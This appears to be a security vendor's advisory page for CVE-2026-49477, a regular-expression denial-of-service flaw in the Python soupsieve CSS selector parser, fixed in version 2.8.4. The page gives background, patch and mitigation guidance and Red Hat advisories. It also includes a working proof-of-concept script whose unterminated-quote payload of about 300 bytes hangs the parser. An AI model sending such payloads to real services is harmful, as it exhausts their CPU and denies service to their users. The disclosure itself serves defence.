Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-49477 — soupsieve

HIGHFix: facelessuser/soupsieve@eb43976

CVE-2026-49477 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in soupsieve. A fix is available for soupsieve — see the affected versions and patch details below.

Soup Sieve: Regular Expression Denial of Service (ReDoS) in soupsieve Selector Parser

Also known asGHSA-836r-79rf-4m37PYSEC-2026-3072
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 14, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-49477.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk
0.02%0.40%0.77%1.14%0.5%0.5%0.6%0.6%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-49477 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 386,684 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍soupsieve

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.

To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.

Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.

Details

Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern

The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:

  1. Double-quoted strings: "[^"\\]*(?:\\.[^"\\]*)*"
  2. Single-quoted strings: '[^'\\]*(?:\\.[^'\\]*)*'
  3. Unquoted identifiers

When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.

Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.

Key characteristics:

  • Input size: Only 300 bytes are needed to trigger a >3 second hang
  • Amplification: Each additional character approximately doubles the backtracking time
  • No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)

Proof of Concept

import time
import soupsieve as sv

PAYLOAD_LEN = 300

# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")

# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)  # WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")

# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)  # 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE: {e}")
except Exception as e:
    print(f"Other error: {e}")
finally:
    signal.alarm(0)  # Cancel the alarm

Impact

Severity: High

An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:

  1. Tiny payload: Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
  2. No special characters: The payload consists entirely of printable ASCII characters ([a="xxx...)
  3. Exponential scaling: Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
  4. Thread blocking: The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)
ParameterValue
Input size300 bytes
CPU time consumed>3 seconds (exponential with payload length)
Memory consumedNegligible (CPU-only attack)
Authentication requiredNone
User interaction requiredNone

Deployment impact: In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.

Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.


Credit

The vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIsoupsieveall versions2.8.4pip install --upgrade 'soupsieve==2.8.4'

Affected Products

1 product · 1 configurations
Application
soup sievefacelessuser
< 2.8.4
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for soupsieve, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update soupsieve to 2.8.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-49477 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

Important: A regular expression denial of service (ReDoS) flaw in the soupsieve library can lead to CPU exhaustion. A remote attacker can exploit this by supplying a small, specially crafted CSS selector string to applications that process untrusted CSS, potentially blocking worker threads and causing a complete…

ProductFixed inAdvisory
Red Hat Hardened Imagespython-rpds-py-main-2026.6.3-1.hum1RHSA-2026:34119
Red Hat OpenShift AI 3.4rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9:1787073866RHSA-2026:60520
Red Hat Quay 3.10quay/quay-rhel8:1788561841RHSA-2026:66084
Red Hat Quay 3.12quay/quay-rhel8:1788594376RHSA-2026:66523
Red Hat Quay 3.14quay/quay-rhel8:1788593843RHSA-2026:70267
Red Hat Quay 3.15quay/quay-rhel8:1788191755RHSA-2026:63307
Red Hat Quay 3.16quay/quay-rhel9:1789563753RHSA-2026:69255
Red Hat Quay 3.17quay/quay-rhel9:1790690298RHSA-2026:74511

Frequently Asked Questions

### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack. To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and careful
O3 Security · Impact-Aware SCA

Is CVE-2026-49477 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-49477: soupsieve DoS — Fixed in 2.8.4